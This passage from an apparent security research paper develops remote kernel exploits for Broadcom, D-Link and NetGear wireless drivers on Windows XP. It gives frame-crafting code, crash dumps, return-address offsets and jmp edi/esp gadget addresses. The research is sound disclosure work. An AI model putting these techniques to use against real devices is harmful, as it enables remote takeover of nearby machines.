Send80211Packet(&in_tx, BeaconPacket); usleep(cfg.usleep); if (ret == -1) { printf("Error tx'ing packet. Is interface up?\n"); exit(0); } }}void CreatePacketForExploit(Packet_80211 &P, struct target T){ Packet_80211_mgmt Beacon; u_int8_t bcast_addy[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; Packet_80211_mgmt_Crafter MgmtCrafter(bcast_addy, cfg.src, cfg.bssid); MgmtCrafter.craft(8, Beacon); // 8 = beacon P = Beacon; printf("\n"); if (T.payload_size > 255) { printf("invalid target. payload sizes > 255 wont fit in a single IE\n"); exit(0); } u_int8_t fixed_parameters[12] = { '_', ',', '.', 'j', 'c', '.', ',', '_', // timestamp (8 bytes) 0x64, 0x00, // beeacon interval, 1.1024 secs 0x11, 0x04 // capability information. ESS, WEP, Short slot time }; P.AppendData(sizeof(fixed_parameters), fixed_parameters); u_int8_t SSID_ie[257]; //255 + 2 for type, value u_int8_t *SSID = SSID_ie + 2; SSID_ie[0] = 0; SSID_ie[1] = 255; memset(SSID, 0x41, 255); //Okay, SSID IE is ready for appending. P.AppendData(sizeof(SSID_ie), SSID_ie); P.print_hex_dump();}As a result of running this code, 802.11 beacon packets were produced that didindeed contain overly sized SSIDs. However, these packets appeared to have noeffect on the BroadCom device driver. After considerable head scratching, amodification was made to the program to see if a normally sized SSID wouldcause the device driver to process it. If it were processed, it would meanthat the fake SSID would show up in the list of available networks. Evenafter making this modification, the device driver still did not appear to beprocessing the manually crafted 802.11 beacon packets. Finally, it wasrealized that the driver might have some checks in place such that it wouldonly process beacon packets from networks that also respond to 802.11 probes.To test this theory out, the code was changed in the manner shown below:CreatePacketForExploit(BeaconPacket, basic_target);//CreatePacket returns a beacon, we will also send out directd probe responses.Packet_80211 ProbePacket = BeaconPacket;ProbePacket.wlan_header->subtype = 5; //probe response. ProbePacket.setDstAddr(cfg.dst);...while(true){ int ret = Send80211Packet(&in_tx, BeaconPacket); usleep(cfg.usleep); ret = Send80211Packet(&in_tx, ProbePacket); usleep(2*cfg.usleep);}Sending out directed probe responses as well as beacon packets caused resultsto be generated immediately. When a small SSID was sent, it would suddenlyshow up in the list of available wireless networks. When an overly sized SSIDwas sent, it resulted in a much desired bluescreen as a result of the stackoverflow that Chris had identified. The following output shows some of thecrash information associated with transmitting an SSID that consisted of 2550xCC's:DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)An attempt was made to access a pageable (or completely invalid) address at aninterrupt request level (IRQL) that is too high. This is usuallycaused by drivers using improper addresses.If kernel debugger is available get stack backtrace.Arguments:Arg1: ccccfe9d, memory referencedArg2: 00000002, IRQLArg3: 00000000, value 0 = read operation, 1 = write operationArg4: f6e713de, address which referenced memory...TRAP_FRAME: 80550004 -- (.trap ffffffff80550004)ErrCode = 00000000eax=cccccccc ebx=84ce62ac ecx=00000000 edx=84ce62ac esi=805500e0 edi=84ce6308eip=f6e713de esp=80550078 ebp=805500e0 iopl=0 nv up ei pl zr na pe nccs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246bcmwl5+0xf3de:f6e713de f680d131000002 test byte ptr [eax+31D1h],2 ds:0023:ccccfe9d=??...kd> k v *** Stack trace for last set context - .thread/.cxr resets itChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong.805500e0 cccccccc cccccccc cccccccc cccccccc bcmwl5+0xf3de80550194 f76a9f09 850890fc 80558e80 80558c20 0xcccccccc805501ac 804dbbd4 850890b4 850890a0 00000000 NDIS!ndisMDpcX+0x21 (FPO: [Non-Fpo])805501d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 (FPO: [0,0,0])805501d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26 (FPO: [0,0,0])In this case, the crash occurred because a variable on the stack wasoverwritten that was subsequently used as a pointer. This overwrittenpointer was then dereferenced. In this case, the dereference occurred throughthe eax register. Although the crash occurred as a result of the dereference,it's important to note that the return address for the stack frame wassuccessfully overwritten with a controlled value of 0xcccccccc. If thefunction had been allowed to return cleanly without trying to dereferencecorrupted pointers, full control of the instruction pointer would have beenobtained.In order to avoid this crash and gain full control of the instruction pointer,it's necessary to try to calculate the offset to the return address from the startof the buffer that is being transmitted. Figuring out this offset also hasthe benefit of making it possible to figure out the minimum number of bytesnecessary to transmit to trigger the overflow. This is important because itmay be useful when it comes to preventing the dereference crash that was seenpreviously. There are many different ways in which the offset of the return address can bedetermined. In this situation, the simplest way to go about it is to transmita buffer that contains an incrementing array of bytes. For instance, byteindex 0 is 0x00, byte index 1 is 0x01, and so on. The value that the returnaddress is overwritten with will then make it possible to calculate its offsetwithin the buffer. After transmitting a packet that makes use of thistechnique, the following crash is rendered:DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)An attempt was made to access a pageable (or completely invalid) address at aninterrupt request level (IRQL) that is too high. This is usuallycaused by drivers using improper addresses.If kernel debugger is available get stack backtrace.Arguments:Arg1: 605f902e, memory referencedArg2: 00000002, IRQLArg3: 00000000, value 0 = read operation, 1 = write operationArg4: f73673de, address which referenced memory...STACK_TEXT: 80550004 f73673de badb0d00 84d8b250 80550084 nt!KiTrap0E+0x233WARNING: Stack unwind information not available. Following frames may be wrong.805500e0 5c5b5a59 605f5e5d 64636261 68676665 bcmwl5+0xf3de80550194 f76a9f09 84e9e0fc 80558e80 80558c20 0x5c5b5a59805501ac 804dbbd4 84e9e0b4 84e9e0a0 00000000 NDIS!ndisMDpcX+0x21805501d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46805501d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26From this stack trace, it can be seen that the return address was overwrittenwith 0x5c5b5a59. Since byte-ordering on x86 is little endian, the offsetwithin the buffer that contains the SSID is 0x59.With knowledge of the offset at which the return address is overwritten, thenext step becomes figuring out where in the buffer to place the arbitrary codethat will be executed. Before going down this route, it's important toprovide a little bit of background on the format of 802.11 Management packets.Management packets encode all of their information in what the standard callsInformation Elements (IEs). IEs have a one byte identifier followed by a onebyte length which is subsequently followed by the associated IE data. Forthose familiar with Type-Length-Value (TLV), IEs are roughly the same thing.Based on this definition, the largest possible IE is 257 bytes (2 bytes ofoverhead, and 255 bytes of data).The upshot of the size restrictions associated with an IE means that thelargest possible SSID that can be copied to the stack is 255 bytes. Whenattempting to find the offset of the return address on the stack, an SSID IEwas sent with a 255 byte SSID. Considering the fact that a stack overflowoccurred, one might reasonably expect to find the entire 255 byte SSID on thestack as a result of the overflow that occurred. A quick dump of the stackcan be used to validate this assumption:kd> db esp L 25680550078 2e f0 d9 84 0c 80 d8 84-00 80 d8 84 00 07 0e 01 ................80550088 02 03 ff 00 01 02 03 04-05 06 07 08 09 0a 0b 0c ................80550098 0d 0e 0f 10 11 12 13 14-15 16 17 18 19 1a 1b 1c ................805500a8 1d 1e 1f 20 21 22 23 24-25 26 0b 28 0c 00 00 00 ... !"#$%&.(....805500b8 82 84 8b 96 24 30 48 6c-0c 12 18 60 44 00 55 80 ....$0Hl...`D.U.805500c8 3d 3e 3f 40 41 42 43 44-45 46 01 02 01 02 4b 4c =>?@ABCDEF....KL805500d8 4d 01 02 50 51 52 53 54-55 56 57 58 59 5a 5b 5c M..PQRSTUVWXYZ[\805500e8 5d 5e 5f 60 61 62 63 64-65 66 67 68 69 6a 6b 6c ]^_`abcdefghijkl805500f8 6d 6e 6f 70 71 72 73 74-75 76 77 78 79 7a 7b 7c mnopqrstuvwxyz{|80550108 7d 7e 7f 80 81 82 83 84-85 86 87 88 89 8a 8b 8c }~..............80550118 8d 8e 8f 90 91 92 93 94-95 96 97 98 99 9a 9b 9c ................80550128 9d 9e 9f a0 a1 a2 a3 a4-a5 a6 a7 a8 a9 aa ab ac ................80550138 ad ae af b0 b1 b2 b3 b4-b5 b6 b7 b8 b9 ba bb bc ................80550148 bd be bf c0 c1 c2 c3 c4-c5 c6 c7 c8 c9 ca cb cc ................80550158 cd ce cf d0 d1 d2 d3 d4-d5 d6 d7 d8 d9 da db dc ................80550168 dd de df e0 e1 e2 e3 e4-e5 e6 e7 e8 e9 ea eb ec ................80550178 ed ee ef f0 f1 f2 f3 f4-f5 f6 f7 f8 f9 fa fb fc ................80550188 fd fe e9 84 00 00 00 00-e0 9e 6a 01 ac 01 55 80 ..........j...U.Based on this dump, it appears that the majority of the SSID was indeed copiedacross the stack. However, a large portion of the buffer prior to the offsetof the return address has been mangled. In this instance, the return addressappears to be located at 0x805500e4. While the area prior to this addressappears mangled, the area succeeding it has remained intact. In order to try to prove the possibility of gaining code execution, a goodinitial attempt would be to send a buffer that overwrites the return addresswith the address that immediately succeeds it (which will be composed ofint3's). If everything works according to plan, the vulnerable function willreturn into the int3's and bluescreen the machine in a controlled fashion.This accomplishes two things. First, it proves that it is possible toredirect execution into a controllable buffer. Second, it gives a snapshot ofthe state of the registers at the time that execution control is redirected.The layout of the buffer that would need to be sent to trigger this conditionis described in the diagram below:[Padding.......][EIP][payload of int3's] ^ ^ ^ | | \_ Can hold at most 163 bytes of arbitrary code. | \_ Overwritten with 0x8055010d which points to the payload \_ Start of SSID that is mangled after the overflow occurs.Transmitting a buffer that is structured as shown above does indeed result ina bluescreen. It is possible to differentiate actual crashes from thosegenerated as the result of an int3 by looking at the bugcheck information.The use of an int3 will result in an unhandled kernel mode exception which isbugcheck code 0x8e. Furthermore, the exception code information associatedwith this (the first parameter of the exception) will be set to 0x80000003.Exception code 0x80000003 is used to indicate that the unhandled exception wasassociated with a trap instruction. This is generally a good indication thatthe arbitrary code you specified has executed. It's also very useful insituations where it is not possible to do remote kernel debugging and one mustrely on strictly using crash dump analysis.KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)This is a very common bugcheck. Usually the exception address pinpointsthe driver/function that caused the problem. Always note this addressas well as the link date of the driver/image that contains this address.Some common problems are exception code 0x80000003. This means a hardcoded breakpoint or assertion was hit, but this system was booted/NODEBUG. This is not supposed to happen as developers should never havehardcoded breakpoints in retail code, but ...If this happens, make sure a debugger gets connected, and thesystem is booted /DEBUG. This will let us see why this breakpoint ishappening.Arguments:Arg1: 80000003, The exception code that was not handledArg2: 8055010d, The address that the exception occurred atArg3: 80550088, Trap FrameArg4: 00000000...TRAP_FRAME: 80550088 -- (.trap ffffffff80550088)ErrCode = 00000000eax=8055010d ebx=841b0000 ecx=00000000 edx=841b31f4 esi=841b000c edi=845f302eeip=8055010e esp=805500fc ebp=8055010d iopl=0 nv up ei pl zr na pe nccs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246nt!KiDoubleFaultStack+0x2c8e:8055010e cc int 3...STACK_TEXT: 8054fc50 8051d6a7 0000008e 80000003 8055010d nt!KeBugCheckEx+0x1b80550018 804df235 80550034 00000000 80550088 nt!KiDispatchException+0x3b180550080 804df947 8055010d 8055010e badb0d00 nt!CommonDispatchException+0x4d80550080 8055010e 8055010d 8055010e badb0d00 nt!KiTrap03+0xad8055010d cccccccc cccccccc cccccccc cccccccc nt!KiDoubleFaultStack+0x2c8eWARNING: Frame IP not in any known module. Following frames may be wrong.80550111 cccccccc cccccccc cccccccc cccccccc 0xcccccccc80550115 cccccccc cccccccc cccccccc cccccccc 0xcccccccc80550119 cccccccc cccccccc cccccccc cccccccc 0xcccccccc8055011d cccccccc cccccccc cccccccc cccccccc 0xccccccccThe above crash dump information definitely shows that arbitrary codeexecution has been achieved. This is a big milestone. It pretty much provesthat exploitation will be possible. However, it doesn't prove how reliable orportable it will be. For that reason, the next step involves identifyingchanges to the exploit that will make it more reliable and portable from onemachine to the next. Fortunately, the current situation already appears likeit might afford a good degree of portability, as the stack addresses don'tappear to shift around from one crash to the next.At this stage, the return address is being overwritten with a hard-coded stackaddress that points immediately after the return address in the buffer. Oneof the problems with this is that the amount of space immediately followingthe return address is limited to 163 bytes due to the maximum size of the SSIDIE. This is enough room for small stub of a payload, but probably not largeenough for a payload that would provide anything interesting in terms offeatures. It's also worth noting that overwriting past the return addressmight overwrite some important elements on the stack that could lead to thesystem crashing at some later point for hard to explain reasons. When dealingwith kernel-mode vulnerabilities, it is advised that one attempt to clobberthe least amount of state as possible in order to reduce the amount of collateraldamage that might ensue. Limiting the amount of data that is used in the overflow to only the amountneeded to trigger the overwriting of the return address means that the totalsize for the SSID IE will be limited and not suitable to hold arbitrary code.However, there's no reason why code couldn't be placed in a completelyseparate IE unrelated to the SSID. This means we could transmit a packet thatincluded both the bogus SSID IE and another arbitrary IE which would be usedto contain the arbitrary code. Although this would work, it must be possibleto find a reference to the arbitrary IE that contains the arbitrary code. Oneapproach that might be taken to do this would be to search the address spacefor an intact copy of the 802.11 packet that is transmitted. Before goingdown that path, it makes sense to try to find instances of the packet inmemory using the kernel debugger. A simple search of the address space usingthe destination MAC address of the packet sent is a good way to find potentialmatches. In this case, the destination MAC is 00:14:a5:06:8f:e6.kd> .ignore_missing_pages 1Suppress kernel summary dump missing page error messagekd> s 0x80000000 L?10000000 00 14 a5 06 8f e68418588a 00 14 a5 06 8f e6 ff ff-ff ff ff ff 40 0e 00 00 ............@...841b0006 00 14 a5 06 8f e6 00 00-00 00 00 00 00 00 00 00 ................841b1534 00 14 a5 06 8f e6 00 00-00 00 00 00 00 00 00 00 ................84223028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................845dc028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................845de828 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................845df828 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................845f3028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................845f3828 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................845f4028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................845f5028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................84642d4c 00 14 a5 06 8f e6 00 00-f0 c6 2a 85 00 00 00 00 ..........*.....846d6d4c 00 14 a5 06 8f e6 00 00-80 79 21 85 00 00 00 00 .........y!.....84eda06c 00 14 a5 06 8f e6 02 06-01 01 00 0e 00 00 00 00 ................84efdecc 00 14 a5 06 8f e6 00 00-65 00 00 00 16 00 25 0a ........e.....%.The above output shows that quite a few matches were found One important thingto note is that the BSSID used in the packet that contained the overly sizedSSID was 00:07:0e:01:02:03. In an 802.11 header, the addresses of Managementpackets are arranged in order of DST, SRC, BSSID. While some of the abovematches do not appear to contain the entire packet contents, many of them do.Picking one of the matches at random shows the contents in more detail:kd> db 84223028 L 12884223028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................84223038 02 03 d0 cf 85 b1 b3 db-01 00 00 00 64 00 11 04 ............d...84223048 00 ff 4a 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d ..J..U...U...U..84223058 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..84223068 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..84223078 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..84223088 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..84223098 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..842230a8 01 55 80 cc cc cc cc cc-cc cc cc cc cc cc cc cc .U..............842230b8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................842230c8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................842230d8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................842230e8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................842230f8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................84223108 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................Indeed, this does appear to be a full copy of the original packet. The reasonwhy there are so many copies of the packet in memory might be related to thefact that the current form of the exploit is transmitting packets in aninfinite loop, thus causing the driver to have a few copies lingering inmemory. The fact that multiple copies exist in memory is good newsconsidering it increases the number of places that could be used for returnaddresses. However, it's not as simple as hard-coding one of these addressesinto the exploit considering pool allocated addresses will not be predictable.Instead, steps will need to be taken to attempt to find a reference to thepacket through a register or through some other context. In this way, a verysmall stub could be placed after the return address in the buffer that wouldimmediately transfer control into the a copy of the packet somewhere else inmemory. Although some initial work with the debugger showed a couple ofreferences to the original packet on the stack, a much simpler solution wasidentified. Consider the following register context at the time of the crash:kd> rLast set context:eax=8055010d ebx=841b0000 ecx=00000000 edx=841b31f4 esi=841b000c edi=845f302eeip=8055010e esp=805500fc ebp=8055010d iopl=0 nv up ei pl zr na pe nccs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246nt!KiDoubleFaultStack+0x2c8e:8055010e cc int 3Inspecting each of these registers individually eventually shows that the ediregister is pointing into a copy of the packet.kd> db edi845f302e 00 07 0e 01 02 03 00 07-0e 01 02 03 10 cf 85 b1 ................845f303e b3 db 01 00 00 00 64 00-11 04 00 ff 4a 0d 01 55 ......d.....J..U845f304e 80 0d 01 55 80 0d 01 55-80 0d 01 55 80 0d 01 55 ...U...U...U...UAs chance would have it, edi is pointing to the source MAC in the 802.11packet that was sent. If it had instead been pointing to the destination MACor the end of the packet, it would not have been of any use. With edi beingpointed to the source MAC, the rest of the cards fall into place. Thehard-coded stack address that was previously used to overwrite the returnaddress can be replaced with an address (probably inside ntoskrnl.exe) thatcontains the equivalent of a jmp edi instruction. When the exploit istriggered and the vulnerable function returns, it will transfer control to thelocation that contains the jmp edi. The jmp edi, in turn, transfers controlto the first byte of the source MAC. By setting the source MAC to someexecutable code, such as a relative jump instruction, it is possible tofinally transfer control into a location of the packet that contains thearbitrary code that should be executed. This solves the problem of using the hard-coded stack address as the returnaddress and should help to make the exploit more reliable and portable betweentargets. However, this portability will be limited by the location of the jmpedi instruction that is used when overwriting the return address. Finding thelocation of a jmp edi instruction is relatively simple, although moreeffective measures could be use to cross-reference addresses in an effort tofind something more portable Experimentation shows that 0x8066662c is areliable location:kd> s nt L?10000000 ff e78063abce ff e7 ff 21 47 70 21 83-98 03 00 00 eb 38 80 3d ...!Gp!......8.=806590ca ff e7 ff 5f eb 05 bb 22-00 00 c0 8b ce e8 74 ff ..._..."......t.806590d9 ff e7 ff 5e 8b c3 5b c9-c2 08 00 cc cc cc cc cc ...^..[.........8066662c ff e7 ff 8b d8 85 db 74-e0 33 d2 42 8b cb e8 d7 .......t.3.B....806bb44b ff e7 a3 6c ff a2 42 08-ff 3f 2a 1e f0 04 04 04 ...l..B..?*........With the exploit all but finished, the final question that remains unansweredis where the arbitrary code should be placed in the 802.11 packet. There area few different ways that this could be tackled. The simplest solution to theproblem would be to simply append the arbitrary code immediately after theSSID in the packet. However, this would make the packet malformed and mightcause the driver to drop it. Alternatively, an arbitrary IE, such as a WPAIE, could be used as a container for the arbitrary code as suggested earlierin this section. For now, the authors decided to take the middle road. Bydefault, a WPA IE will be used as the container for all payloads, regardlessof whether or not the payloads fit within the IE. This has the effect ofallowing all payloads smaller than 256 bytes to be part of a well-formedpacket. Payloads that are larger than 255 bytes will cause the packet to bemalformed, but perhaps not enough to cause the driver to drop the packet. Analternate solution to this issue can be found in the NetGear case study.At this point, the structure of the buffer and the packet as a whole have beencompletely researched and are ready to be tested. The only thing left to dois incorporate the arbitrary code that was described in 4.1. Much time wasspent debugging and improving the code that was used in order to produce areliable exploit.5.2) D-LinkSoon after the Broadcom exploit was completed, the authors decided to write asuite of fuzzing modules that could discover similar issues in other wirelessdrivers. The first casualty of this process was the A5AGU.SYS driver providedwith the D-Link's DWL-G132 USB wireless adapter. The authors configured thetest machine (Windows XP SP2) so that a complete snapshot of kernel memory wasincluded in the system crash dumps. This ensures that when a crash occurs,enough useful information is there to debug the problem. Next, the latestdriver for the target device (v1.0.1.41) was installed. Finally, the beaconfuzzing module was started and the card was inserted into the USB port of thetest system. Five seconds later, a beautiful blue screen appeared while thecrash dump was written to disk.DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)An attempt was made to access a pageable (or completely invalid) address at aninterrupt request level (IRQL) that is too high. This is usuallycaused by drivers using improper addresses.If kernel debugger is available get stack backtrace.Arguments:Arg1: 56149a1b, memory referencedArg2: 00000002, IRQLArg3: 00000000, value 0 = read operation, 1 = write operationArg4: 56149a1b, address which referenced memoryErrCode = 00000000eax=00000000 ebx=82103ce0 ecx=00000002 edx=82864dd0 esi=f24105dc edi=8263b7a6eip=56149a1b esp=80550658 ebp=82015000 iopl=0 nv up ei ng nz ac pe nccs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=0001029656149a1b ?? ???Resetting default scopeLAST_CONTROL_TRANSFER: from 56149a1b to 804e2158FAILED_INSTRUCTION_ADDRESS: +56149a1b56149a1b ?? ???STACK_TEXT: 805505e4 56149a1b badb0d00 82864dd0 00000000 nt!KiTrap0E+0x23380550654 82015000 82103ce0 81f15e10 8263b79c 0x56149a1b80550664 f2408d54 81f15e10 82103c00 82015000 0x8201500080550694 f24019cc 82015000 82103ce0 82015000 A5AGU+0x28d54805506b8 f2413540 824ff008 0000000b 82015000 A5AGU+0x219cc805506d8 f2414fae 824ff008 0000000b 0000000c A5AGU+0x33540805506f4 f24146ae f241d328 8263b760 81f75000 A5AGU+0x34fae80550704 f2417197 824ff008 00000001 8263b760 A5AGU+0x346ae80550728 804e42cc 00000000 821f0008 00000000 A5AGU+0x3719780550758 f74acee5 821f0008 822650a8 829fb028 nt!IopfCompleteRequest+0xa2805507c0 f74adb57 8295a258 00000000 829fb7d8 USBPORT!USBPORT_CompleteTransfer+0x373805507f0 f74ae754 026e6f44 829fb0e0 829fb0e0 USBPORT!USBPORT_DoneTransfer+0x13780550828 f74aff6a 829fb028 804e3579 829fb230 USBPORT!USBPORT_FlushDoneTransferList+0x16c80550854 f74bdfb0 829fb028 804e3579 829fb028 USBPORT!USBPORT_DpcWorker+0x22480550890 f74be128 829fb028 00000001 80559580 USBPORT!USBPORT_IsrDpcWorker+0x37e805508ac 804dc179 829fb64c 6b755044 00000000 USBPORT!USBPORT_IsrDpc+0x166805508d0 804dc0ed 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46805508d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26Five seconds of fuzzing had produced a flaw that made it possible to gaincontrol of the instruction pointer. In order to execute arbitrary code,however, a contextual reference to the malicious frame had to be located. Inthis case, the edi register pointed into the source address field of the framein just the same way that it did in the Broadcom vulnerability. The bogus eipvalue can be found just past the source address where one would expect it --inside one of the randomly generated information elements.kd> dd 0x8263b7a6 (edi)8263b7a6 f3793ee8 3ee8a34e a34ef379 6eb215f08263b7b6 fde19019 006431d8 9b001740 63594364kd> s 0x8263b7a6 Lffff 0x1b 0x9a 0x14 0x568263bd2b 1b 9a 14 56 2a 85 56 63-00 55 0c 0f 63 6e 17 51 ...V*.Vc.U..cn.QThe next step was to determine what information element was causing the crash.After decoding the in-memory version of the frame, a series of modificationsand retransmissions were made until the specific information element leadingto the crash was found. Through this method it was determined that a longSupported Rates information element triggers the stack overflow shown in thecrash above.Exploiting this flaw involved finding a return address in memory that pointedto a jmp edi, call edi, or push edi; ret instruction sequence. This wasaccomplished by running the msfpescan application included with the MetasploitFramework against the ntoskrnl.exe of our target. The resulting addresses hadto be adjusted to account for the kernel's base address. The address that waschosen for this version of ntoskrnl.exe was 0x804f16eb ( 0x800d7000 +0x0041a6eb ). $ msfpescan ntoskrnl.exe -j edi[ntoskrnl.exe]0x0040365d push edi; retn 0x00010x00405aab call edi0x00409d56 push edi; ret0x0041a6eb jmp ediFinally, the magic frame was reworked into an exploit module for the 3.0version of the Metasploit Framework. When the exploit is launched, a stackoverflow occurs, the return address is overwritten with the location of a jmpedi, which in turn lands on the source address of the frame. The sourceaddress was modified to be a valid x86 relative jump, which directs executioninto the body of the first information element. The maximum MTU of 802.11b isover 2300 bytes, allowing for payloads of up to 1000 bytes without runninginto reliability issues. Since this exploit is sent to the broadcast address,all vulnerable clients within range of the attacker are exploited with asingle frame.5.3) NetGearFor the next test, the authors chose NetGear's WG111v2 USB wireless adapter.The machine used in the D-Link exploit was reused for this test (Windows XPSP2). The latest version of the WG111v2.SYS driver (v5.1213.6.316) wasinstalled, the beacon fuzzer was started, and the adapter was connected to thetest system. After about ten seconds, the system crashed and another gorgeousblue screen appeared.DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)An attempt was made to access a pageable (or completely invalid) address at aninterrupt request level (IRQL) that is too high. This is usuallycaused by drivers using improper addresses.If kernel debugger is available get stack backtrace.Arguments:Arg1: dfa6e83c, memory referencedArg2: 00000002, IRQLArg3: 00000000, value 0 = read operation, 1 = write operationArg4: dfa6e83c, address which referenced memoryErrCode = 00000000eax=80550000 ebx=825c700c ecx=00000005 edx=f30e0000 esi=82615000 edi=825c7012eip=dfa6e83c esp=80550684 ebp=b90ddf78 iopl=0 nv up ei pl zr na pe nccs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246dfa6e83c ?? ???Resetting default scopeLAST_CONTROL_TRANSFER: from dfa6e83c to 804e2158FAILED_INSTRUCTION_ADDRESS: +ffffffffdfa6e83cdfa6e83c ?? ???STACK_TEXT: 80550610 dfa6e83c badb0d00 f30e0000 0b9e1a2b nt!KiTrap0E+0x233WARNING: Frame IP not in any known module. Following frames may be wrong.80550680 79e1538d 14c4f76f 8c1cec8e ea20f5b9 0xdfa6e83c80550684 14c4f76f 8c1cec8e ea20f5b9 63a92305 0x79e1538d80550688 8c1cec8e ea20f5b9 63a92305 115cab0c 0x14c4f76f8055068c ea20f5b9 63a92305 115cab0c c63e58cc 0x8c1cec8e80550690 63a92305 115cab0c c63e58cc 6d90e221 0xea20f5b980550694 115cab0c c63e58cc 6d90e221 78d94283 0x63a9230580550698 c63e58cc 6d90e221 78d94283 2b828309 0x115cab0c8055069c 6d90e221 78d94283 2b828309 39d51a89 0xc63e58cc805506a0 78d94283 2b828309 39d51a89 0f8524ea 0x6d90e221805506a4 2b828309 39d51a89 0f8524ea c8f0583a 0x78d94283805506a8 39d51a89 0f8524ea c8f0583a 7e98cd49 0x2b828309805506ac 0f8524ea c8f0583a 7e98cd49 214b52ab 0x39d51a89805506b0 c8f0583a 7e98cd49 214b52ab 139ef137 0xf8524ea805506b4 7e98cd49 214b52ab 139ef137 a7693fa7 0xc8f0583a805506b8 214b52ab 139ef137 a7693fa7 dfad502f 0x7e98cd49805506bc 139ef137 a7693fa7 dfad502f 81212de6 0x214b52ab805506c0 a7693fa7 dfad502f 81212de6 c46a3b2e 0x139ef137805507c0 f74a1b57 825f1e40 00000000 829a87d8 0xa7693fa7805507f0 f74a2754 026e6f44 829a80e0 829a80e0 USBPORT!USBPORT_DoneTransfer+0x13780550828 f74a3f6a 829a8028 804e3579 829a8230 USBPORT!USBPORT_FlushDoneTransferList+0x16c80550854 f74b1fb0 829a8028 804e3579 829a8028 USBPORT!USBPORT_DpcWorker+0x22480550890 f74b2128 829a8028 00000001 80559580 USBPORT!USBPORT_IsrDpcWorker+0x37e805508ac 804dc179 829a864c 6b755044 00000000 USBPORT!USBPORT_IsrDpc+0x166805508d0 804dc0ed 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46805508d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26The crash indicates that not only did the fuzzer gain control of the driver'sexecution address, but the entire stack frame was smashed as well. The espregister points about a thousand bytes into the frame and the bogus eip valueinside another controlled area.kd> dd 8055068480550684 79e1538d 14c4f76f 8c1cec8e ea20f5b980550694 63a92305 115cab0c c63e58cc 6d90e221kd> s 0x80550600 Lffff 0x3c 0xe8 0xa6 0xdf80550608 3c e8 a6 df 10 06 55 80-78 df 0d b9 3c e8 a6 df <.....U.x...<...80550614 3c e8 a6 df 00 0d db ba-00 00 0e f3 2b 1a 9e 0b <...........+...80550678 3c e8 a6 df 08 00 00 00-46 02 01 00 8d 53 e1 79 <.......F....S.y8055a524 3c e8 a6 df 02 00 00 00-00 00 00 00 3c e8 a6 df <...........<...8055a530 3c e8 a6 df 00 40 00 e1-00 00 00 00 00 00 00 00 <....@.......... Analyzing this bug took a lot more time than one might expect. Suprisingly,there is no single field or information element that triggers this flaw. Anyseries of information elements with a length greater than 1100 bytes willtrigger the overflow if the SSID, Supported Rates, and Channel informationelements are at the beginning. The driver will discard any frames where the IEchain is truncated or extends beyond the boundaries of the received frame.This was an annoyance, since a payload may be of arbitrary length and contentand may not neatly fit into a 255 byte block of data (the maximum for a singleIE). The solution was to treat the blob of padding and shellcode like acontiguous IE chain and pad the buffer based on the content and length of theframe. The exploit code would generate the buffer, then walk through thebuffer as if it was a series of IEs, extending the very last IE via randomizedpadding. This results in a chain of garbage information elements which passthe driver's sanity checks and allows for clean exploitation. For this bug, the esp register was the only one pointing into controlled data.This introduced another problem -- before the vulnerable function returned, itmodified stack variables and left parts of the frame corrupted. Although thearea pointed to by esp was stable, a corrupted block exists just beyond it. Tosolve this, a tiny block of assembly code was added to the exploit that, whenexecuted, would jump to the real payload by calculating an offset from the eaxregister. Finding a jmp esp instruction was as simple as running msfpescan onntoskrnl.exe and adjusting it for the kernel base address. The address thatwas chosen for this version of ntoskrnl.exe was 0x804ed5cb (0x800d7000 +0x004165cb). $ msfpescan ntoskrnl.exe -j esp[ntoskrnl.exe]0x004165cb jmp esp6) ConclusionTechnology that can be used to help prevent the exploitation of user-modevulnerabilities is now becoming common place on modern desktop platforms.This represents a marked improvement that should, in the long run, make theexploitation of many user-mode vulnerabilities much more difficult or evenimpossible. That being said, there is an apparent lack of equivalenttechnology that can help to prevent the exploitation of 